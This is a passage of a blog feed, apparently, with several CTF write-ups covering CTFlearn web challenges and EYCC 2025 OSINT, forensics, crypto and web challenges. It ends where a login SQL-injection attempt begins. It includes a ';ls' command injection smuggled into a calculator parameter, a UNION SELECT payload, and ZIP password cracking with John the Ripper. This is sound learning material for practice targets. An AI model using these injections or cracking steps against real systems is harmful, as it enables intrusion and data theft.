&lt;p&gt;Another approach would be sending a POST request with the provided credentials by burpsuite and the flag will appear&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./post2.png&quot; alt=&quot;screenshot&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Don&apos;t Bump Your Head(er): Medium&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Description:&lt;/strong&gt; Try to bypass my security measure on this site!
&lt;a href=&quot;http://165.227.106.113/header.php&quot;&gt;http://165.227.106.113/header.php&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;I noticed that the challenge involved headers as its name indicates, so I sent a GET request using burp as my first step&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./header.png&quot; alt=&quot;screenshot&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Then I noticed the comment &lt;code&gt;&amp;lt;!-- Sup3rS3cr3tAg3nt --&amp;gt;&lt;/code&gt;, which could be the agent that the challenge accepts. So I sent another request, changing the &lt;strong&gt;User-Agent&lt;/strong&gt; to &lt;code&gt;Sup3rS3cr3tAg3nt&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./header2.png&quot; alt=&quot;screenshot&quot; /&gt;&lt;/p&gt;
&lt;p&gt;And it worked! but it still needed to be &quot;accessed&quot; from &lt;strong&gt;awesomesauce.com&lt;/strong&gt;, which made me think of referring to it by adding:
&lt;code&gt;Referer: awesomesauce.com&lt;/code&gt; to the header&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./header3.png&quot; alt=&quot;screenshot&quot; /&gt;&lt;/p&gt;
&lt;p&gt;And we got our flag!&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Calculat3 M3: Hard&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Description:&lt;/strong&gt; Here! &lt;a href=&quot;http://web.ctflearn.com/web7/&quot;&gt;http://web.ctflearn.com/web7/&lt;/a&gt; I forget how we were doing those calculations, but something tells me it was pretty insecure.&lt;/p&gt;
&lt;p&gt;The challenge was a simple calculator that its input field seemed vulnerable, So I intercepted the calculating GET request by burp, then sent it to the repeater&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./calc.png&quot; alt=&quot;screenshot&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I thought of changing the value of &lt;code&gt;expression&lt;/code&gt; to &lt;code&gt;;ls&lt;/code&gt;, to check for command-injection&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./calc2.png&quot; alt=&quot;screenshot&quot; /&gt;&lt;/p&gt;
&lt;p&gt;And it actually worked :&amp;gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Inj3ction Time: Hard&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Description:&lt;/strong&gt; I stumbled upon this website: &lt;a href=&quot;http://web.ctflearn.com/web8/&quot;&gt;http://web.ctflearn.com/web8/&lt;/a&gt;
and I think they have the flag in there somewhere. UNION might be a helpful command&lt;/p&gt;
&lt;p&gt;The website looked similar to the &lt;code&gt;Basic injection&lt;/code&gt;&apos;s website.. It asks for an id then shows some info about dogs&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./inj.png&quot; alt=&quot;screenshot&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I noticed that it only accepts numbers from 1 to 3, and no other characters, so even though it&apos;s an SQLi challenge it doesn&apos;t show an error when entering quotes. However, a UNION attack may be used as the challenge description hints.&lt;/p&gt;
&lt;p&gt;So, after some testing NULL values with UNION SELECT I found that &lt;strong&gt;we have 4 columns&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./inj2.png&quot; alt=&quot;screenshot&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Then I checked which columns are vulnerable&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./inj3.png&quot; alt=&quot;screenshot&quot; /&gt;&lt;/p&gt;
&lt;p&gt;After that I checked the available tables by querying &lt;code&gt;table_name&lt;/code&gt; from &lt;code&gt;information_schema.tables&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./inj4.png&quot; alt=&quot;screenshot&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I scrolled down a bit till I noticed an interesting table: &lt;code&gt;w0w_y0u_f0und_m3&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Then I checked the available columns by querying &lt;code&gt;column_name&lt;/code&gt; from &lt;code&gt;information_schema.columns&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./inj5.png&quot; alt=&quot;screenshot&quot; /&gt;&lt;/p&gt;
&lt;p&gt;And after scrolling down again, I noticed an interesting column name: &lt;code&gt;f0und_m3&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Now as we have the column and table names, our final query should be:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;1 union select f0und_m3,2,3,4 from w0w_y0u_f0und_m3
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Which worked!&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./inj6.png&quot; alt=&quot;screenshot&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;Alright, those were all the challenges I managed to solve. The other challenges are either down, or I still haven&apos;t tried them yet. Stay tuned for more write-ups! :)&lt;/p&gt;
</content:encoded></item><item><title>EYCC 2025 — OSINT Challenges (onsite-round)</title><link>https://ssumix.vercel.app/posts/eycc/osint2-eycc-write-up/</link><guid isPermaLink="true">https://ssumix.vercel.app/posts/eycc/osint2-eycc-write-up/</guid><description>a write-up for EYCC&apos;s onsite-round OSINT challenges</description><pubDate>Sat, 20 Sep 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;EYCC 2025 — OSINT Challenges (onsite-round)&lt;/h1&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/0*rrHdnRdlfcZ7VgVT.jpg&quot; alt=&quot;Header Image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Hey! In this write-up, I’ll cover the &lt;em&gt;Egyptian Youth Cybersecurity Competition (EYCC)&lt;/em&gt; OSINT challenges of the final onsite round.&lt;/p&gt;
&lt;p&gt;Let’s get started!&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;&lt;strong&gt;First Challenge&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;We were given this picture:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*kKfyj-0BmbGxzQN8-iozfg.png&quot; alt=&quot;Challenge Image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;We had to locate where this photo was taken and extract the blurred timestamp, then combine them with the string &lt;strong&gt;“echo site”&lt;/strong&gt; to form the password of a Pastebin link that contains the flag.&lt;/p&gt;
&lt;p&gt;Zooming into the photo, I immediately noticed the timestamp: &lt;strong&gt;2025-8-24&lt;/strong&gt;&lt;br /&gt;
I also recognized the place — Longyearbyen.&lt;/p&gt;
&lt;p&gt;I searched for Longyearbyen on Google Earth and found the exact spot:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:2000/format:webp/1*CXWP6QxXmg1u4xXqcguNaA.png&quot; alt=&quot;Google Earth Image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The challenge hinted that the location starts with &lt;strong&gt;“S”&lt;/strong&gt;, so after clicking the location we see:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:790/format:webp/1*lbTgZhxBjNnbCkFlStjLew.png&quot; alt=&quot;Svalbard Image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The required part was &lt;strong&gt;Svalbard&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;So the final password was:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;
Svalbard echo site 2025-8-24

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Entering it into Pastebin revealed the flag:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*vs49EYtoKB0ir13ZGgGoqw.png&quot; alt=&quot;Flag Image&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;&lt;strong&gt;Second Challenge&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;We were given a username: &lt;strong&gt;InsaneHunterCTF&lt;/strong&gt;&lt;br /&gt;
We needed to trace it and find the flag.&lt;/p&gt;
&lt;p&gt;Searching for the username across platforms, I found a GitHub account:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*J9jJ658Y6YyTDtrGJoZpsw.png&quot; alt=&quot;GitHub&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Inside the &lt;code&gt;HunterCTF&lt;/code&gt; repo there was an HTML file:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*FY1Zq-Pj85TBLe16K0vNUw.png&quot; alt=&quot;Repo&quot; /&gt;&lt;/p&gt;
&lt;p&gt;And inside it — an interesting comment:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*hWYjoz6Osb_7Lr2CQ1Sovg.png&quot; alt=&quot;Comment&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Opening the link gave:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*dOihURqvDGmAaLyfCKWZ6A.png&quot; alt=&quot;Link Page&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Appending &lt;code&gt;/secure.zip&lt;/code&gt; downloaded a protected ZIP file.&lt;/p&gt;
&lt;p&gt;I produced a hash:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;
zip2john secure.zip &amp;gt; hash.txt

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Then cracked it:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;John outputted something like:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;
!LUVDKR!..*7¡Vamos!

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;…but the password didn’t work.&lt;/p&gt;
&lt;p&gt;The challenge also hinted at fuzzing &lt;code&gt;/hidden_FUZZ&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;I used ffuf:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;
ffuf -u [http://13.62.48.186/hidden_FUZZ](http://13.62.48.186/hidden_FUZZ) -w wordlist.txt

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It found:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;
/hidden_data

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1034/format:webp/1*Njvpt5FnTg9FuMzWmEPRSg.png&quot; alt=&quot;ffuf&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Inside were two PDF files.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;leak.pdf&lt;/code&gt; looked corrupted, so I used &lt;code&gt;strings leak.pdf&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:652/format:webp/1*W_3hDBFTaDmjF269803-8Q.png&quot; alt=&quot;Strings Output&quot; /&gt;&lt;/p&gt;
&lt;p&gt;It wasn’t the correct flag.&lt;/p&gt;
&lt;p&gt;The second file, &lt;code&gt;leak2.pdf&lt;/code&gt;, also showed a wrong flag:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:906/format:webp/1*HIf8LTdtn6MbotD1psub2Q.png&quot; alt=&quot;Leak2&quot; /&gt;&lt;/p&gt;
&lt;p&gt;So I ran strings on it:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1092/format:webp/1*RA73sDtIqTZWGAm9l7Jmyw.png&quot; alt=&quot;Strings Output&quot; /&gt;&lt;/p&gt;
&lt;p&gt;This time it revealed the correct ZIP password.&lt;/p&gt;
&lt;p&gt;After unzipping, &lt;code&gt;flag.zip.txt&lt;/code&gt; contained:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:778/format:webp/1*_khyDCbHb68sLwbserZcPA.png&quot; alt=&quot;Final Flag&quot; /&gt;&lt;/p&gt;
&lt;p&gt;And voilà!&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;That was all! Don’t forget to check my other write-ups~&lt;/p&gt;
</content:encoded></item><item><title>EYCC 2025 — OSINT Challenges</title><link>https://ssumix.vercel.app/posts/eycc/osint-eycc-write-up/</link><guid isPermaLink="true">https://ssumix.vercel.app/posts/eycc/osint-eycc-write-up/</guid><description>a write-up for EYCC&apos;s OSINT challenges</description><pubDate>Sun, 07 Sep 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;EYCC 2025 — OSINT Challenges&lt;/h1&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/0*JfcZMzKKaKu0xOS9.jpg&quot; alt=&quot;EYCC OSINT Banner&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Hola! This write-up covers the &lt;em&gt;Egyptian Youth Cybersecurity Competition (EYCC)&lt;/em&gt; OSINT challenges that I solved with steps taken to find the flag.&lt;/p&gt;
&lt;p&gt;This was my first time exploring OSINT challenges, and I definitely enjoyed them!&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;First Challenge: Phantom Employee&lt;/h2&gt;
&lt;p&gt;Our mission was to find the name of a fired employee and check their digital footprint to find the flag.&lt;/p&gt;
&lt;p&gt;We were given a link to the company’s website, which had an &lt;strong&gt;Our Team&lt;/strong&gt; page:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:2000/format:webp/1*LHQ_BwzmnD06A2NTee3big.png&quot; alt=&quot;Our Team Page&quot; /&gt;&lt;/p&gt;
&lt;p&gt;There was no clue about the fired employee either on the page itself or in the source code. So I copied the challenge’s link to the &lt;a href=&quot;https://web.archive.org/&quot;&gt;WayBack Machine&lt;/a&gt; and found an old version of the website that had the fired employee’s name:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:2000/format:webp/1*Ui7eAyZ6j2_m41lINpiHkQ.png&quot; alt=&quot;Archived Employee&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Then I searched for this employee’s name across different platforms but initially found nothing. After some digging, I finally found a LinkedIn account with the same name and noticed the flag in the account’s info:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:2000/format:webp/1*khG3NWWyb_95Zk8N_YIU8g.png&quot; alt=&quot;LinkedIn Flag&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Second Challenge: Shadow Signal&lt;/h2&gt;
&lt;p&gt;This time, the goal was to track the digital footprint of an employee at a company called &lt;em&gt;TechSecure Inc.&lt;/em&gt; to find the flag.&lt;/p&gt;
&lt;p&gt;A link to the company’s website was provided. I checked the site and noticed something interesting in the &lt;strong&gt;Our Team&lt;/strong&gt; section:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:2000/format:webp/1*bpzSaIY3FSLTZs01kCxovg.png&quot; alt=&quot;Team Section&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I searched for this username on different platforms and found an X account belonging to the same employee, which included a posted picture:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:902/format:webp/1*kAQGwATQ2qwNYeSu_6KoaA.png&quot; alt=&quot;X Account Photo&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I first thought the flag was in the picture, so I tried extracting metadata and checking for steganography but found nothing. At this point, I almost lost hope.&lt;/p&gt;
&lt;p&gt;However, in the comment section, I found an old comment from someone named Mark, who was definitely not a contestant since the comment was made before the competition started:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:876/format:webp/1*ZC9-4Ez6QU6wPQwFa2Wlzg.png&quot; alt=&quot;Old Comment&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Following that account led me to another picture:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:906/format:webp/1*y0bdEZFhz5U5wnV1XU9A_Q.png&quot; alt=&quot;Linked Picture&quot; /&gt;&lt;br /&gt;
&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*0-voJyz8BagMV0599-i4rA.png&quot; alt=&quot;Full Picture&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I downloaded this picture and examined it using &lt;code&gt;strings&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;strings coffee.jpg | head
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The output hinted at a link to check:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:758/format:webp/1*fiIU5cLP02qENiumlfW0QQ.png&quot; alt=&quot;Strings Output&quot; /&gt;&lt;/p&gt;
&lt;p&gt;After checking the link, I found the flag directly:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*AcVonKx8TLse9w3H0hcolg.png&quot; alt=&quot;Flag Revealed&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;That’s it! Don’t forget to check my other write-ups for the Web, Crypto, and Forensics challenges.&lt;/p&gt;
</content:encoded></item><item><title>EYCC 2025 — Forensics Challenges</title><link>https://ssumix.vercel.app/posts/eycc/dfir-eycc-write-up/</link><guid isPermaLink="true">https://ssumix.vercel.app/posts/eycc/dfir-eycc-write-up/</guid><description>a write-up for EYCC&apos;s Forensics challenges</description><pubDate>Sun, 07 Sep 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;EYCC 2025 — Forensics Challenges&lt;/h1&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/0*qQQA1m3ijnyEBYMm.jpg&quot; alt=&quot;Forensics Banner&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Hi there! This write-up covers the &lt;em&gt;Egyptian Youth Cybersecurity Competition (EYCC)&lt;/em&gt; Forensics challenges that I managed to solve, with the steps taken to find each flag.&lt;/p&gt;
&lt;p&gt;Let’s get started!&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;First Challenge: Paper Trail&lt;/h2&gt;
&lt;p&gt;We were given a PDF file named &lt;strong&gt;secret.pdf&lt;/strong&gt;, which appeared completely blank.&lt;br /&gt;
I checked its metadata using &lt;strong&gt;exiftool&lt;/strong&gt; and immediately found the flag.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:874/format:webp/1*1yjP8tz67E7BdityMucyEg.png&quot; alt=&quot;Exiftool Output&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Second Challenge: Fractured Memory&lt;/h2&gt;
&lt;p&gt;We were given a password-protected ZIP file named &lt;strong&gt;CUNTISSIMO&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;First, I created a hash of the ZIP password using &lt;code&gt;zip2john&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;zip2john CUNTISSIMO &amp;gt; hash.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Then I cracked the password using &lt;strong&gt;JohnTheRipper&lt;/strong&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;John successfully cracked the password: &lt;strong&gt;123456789&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;After unzipping the archive, a file named &lt;strong&gt;CUNTISSIMO&lt;/strong&gt; was extracted.
I examined it with the &lt;code&gt;file&lt;/code&gt; command and found that it was a JPEG, but opening it showed that it was corrupted.&lt;/p&gt;
&lt;p&gt;To investigate, I checked the file in a hex editor and noticed the header was incorrect:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1288/format:webp/1*7KV4o-OsGUZqo-d5wsKWvQ.png&quot; alt=&quot;Hex Header&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The correct JPEG header should be:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;FF D8 FF E0
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I fixed the header manually, and the image was successfully repaired:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*iITLsb7Ns8ksZ0tk6OEd1Q.jpeg&quot; alt=&quot;Repaired Image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The patched image revealed an encoded string that looked like &lt;strong&gt;Base32&lt;/strong&gt;, so I decoded it using &lt;a href=&quot;https://dcode.fr&quot;&gt;DCode&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*f8tgujW7cbCOBrw_jUJ8wQ.png&quot; alt=&quot;Decoded Base32&quot; /&gt;&lt;/p&gt;
&lt;p&gt;And here’s the flag!&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;That was all! Don’t forget to check my other write-ups for the &lt;strong&gt;Web, Crypto, and OSINT&lt;/strong&gt; challenges.&lt;/p&gt;
</content:encoded></item><item><title>EYCC 2025 — Crypto Challenges</title><link>https://ssumix.vercel.app/posts/eycc/crypto-eycc-write-up/</link><guid isPermaLink="true">https://ssumix.vercel.app/posts/eycc/crypto-eycc-write-up/</guid><description>a write-up for EYCC&apos;s crypto challenges</description><pubDate>Sun, 07 Sep 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;EYCC 2025 — Crypto Challenges&lt;/h1&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/0*ivwxYactN1Yd596r.jpg&quot; alt=&quot;EYCC Crypto Banner&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Hey! This write-up covers the &lt;em&gt;Egyptian Youth Cybersecurity Competition (EYCC)&lt;/em&gt; Crypto challenges that I managed to solve with steps taken to reveal the final flag.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;First Challenge: Veiled Secret&lt;/h2&gt;
&lt;p&gt;This challenge was about decrypting a &lt;em&gt;secret message&lt;/em&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;MKywL3gznaqhM2ghqzuxnzMvq-TulsD==TOR13
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I noticed the &lt;code&gt;TOR13&lt;/code&gt; at the end, which points to starting with ROT13.&lt;/p&gt;
&lt;p&gt;So, I copied the secret message to my go-to decoder, &lt;a href=&quot;http://dcode.fr&quot;&gt;Dcode&lt;/a&gt;, and checked the output:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*qDRUvqTynwJhiEIz9VGldw.png&quot; alt=&quot;ROT13 Decoding&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Now we’re left with Base64 encoded text, so I decoded it in the same website and got the flag:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*QLysdpI5ZSLjETBc08LYGQ.png&quot; alt=&quot;Flag Revealed&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Second Challenge: Golden Spiral&lt;/h2&gt;
&lt;p&gt;We were given a file named &lt;code&gt;goldenSpiral&lt;/code&gt;. It was not executable, so I made it executable:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;chmod +x goldenSpiral
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Then I tried executing it:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;./goldenSpiral
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;But it threw an error:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;bash: ./goldenSpiral: cannot execute: required file not found
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I checked the file type:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;file goldenSpiral
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It revealed that it was an ELF executable requiring this interpreter:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/nix/store/lmn7lwydprqibdkghw7wgcn21yhllz13-glibc-2.40–66/lib/ld-linux-x86–64.so.2
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;After running the file with the required interpreter, an encrypted flag was returned:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;fzef{7i0fGcobhxzwr4j}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The challenge mentioned a sequence that “grows almost exponentially,” suggesting the &lt;strong&gt;Fibonacci sequence&lt;/strong&gt;. Since the encrypted flag seemed alphabetically shifted, I used this &lt;a href=&quot;https://wordsmithingtools.com/fibonacci-cipher&quot;&gt;Fibonacci Cipher Decoder&lt;/a&gt; and started from 1 (because &lt;code&gt;e&lt;/code&gt; comes right before &lt;code&gt;f&lt;/code&gt; in the alphabet).&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*OPzh4M5u8mqhQrZz61vXQQ.png&quot; alt=&quot;Fibonacci Cipher&quot; /&gt;&lt;/p&gt;
&lt;p&gt;And we got the flag!&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Third Challenge: Silent Keys&lt;/h2&gt;
&lt;p&gt;This challenge was an RSA decryption challenge.&lt;/p&gt;
&lt;p&gt;We were given:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;n = 148304669693572711157725718049458731328582148078019
e = 65537
c = 35618364216358867907731764651946346081071748936005
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The hint said:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;n is the product of two primes; one of them is the integer part of pi multiplied by 10^5&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;This challenge can be solved in two ways:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Directly inputting the values in &lt;a href=&quot;http://dcode.fr&quot;&gt;Dcode&lt;/a&gt; to get the flag:&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*JFFR1H0ROtA0mtz8DL6mmg.png&quot; alt=&quot;RSA Decryption via Dcode&quot; /&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Or factorizing &lt;code&gt;n&lt;/code&gt; using &lt;a href=&quot;https://factordb.com/&quot;&gt;factordb&lt;/a&gt; to get &lt;code&gt;p&lt;/code&gt; and &lt;code&gt;q&lt;/code&gt;:&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*9TBgGEpJ5BPvh6VpWemNug.png&quot; alt=&quot;Factoring n&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Then calculating &lt;code&gt;d&lt;/code&gt; from &lt;code&gt;p, q, e&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*FB8ms9MFowzxn600WOATGQ.png&quot; alt=&quot;Calculate d&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Finally, decrypt the ciphertext &lt;code&gt;c&lt;/code&gt; to reveal the flag:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*eAglyrLAZC89OUMOnwKV4A.png&quot; alt=&quot;Decrypted Flag&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;And that’s all! Don’t forget to check my other write-ups for the Web, Forensics, and OSINT challenges!&lt;/p&gt;
</content:encoded></item><item><title>EYCC 2025 — Web Challenges</title><link>https://ssumix.vercel.app/posts/eycc/web-eycc-write-up/</link><guid isPermaLink="true">https://ssumix.vercel.app/posts/eycc/web-eycc-write-up/</guid><description>a write-up for EYCC&apos;s web challenges</description><pubDate>Sun, 07 Sep 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;EYCC 2025 — Web Challenges&lt;/h1&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*O-JH8o8NsFFKPVBZY9gTOg.jpeg&quot; alt=&quot;EYCC Banner&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Hello there! This write-up covers the &lt;em&gt;Egyptian Youth Cybersecurity Competition (EYCC)&lt;/em&gt; web challenges I solved, focusing on the methods and techniques used.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;First Challenge: Open Gate&lt;/h2&gt;
&lt;p&gt;The link redirected me to this login page:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1182/format:webp/1*V9Bw59V7wabExqPLfQdEgA.png&quot; alt=&quot;Open Gate Login&quot; /&gt;&lt;/p&gt;
&lt;p&gt;My first thought was that it was probably vulnerable to &lt;strong&gt;SQL injection&lt;/strong&gt;, so I tried injecting:&lt;/p&gt;
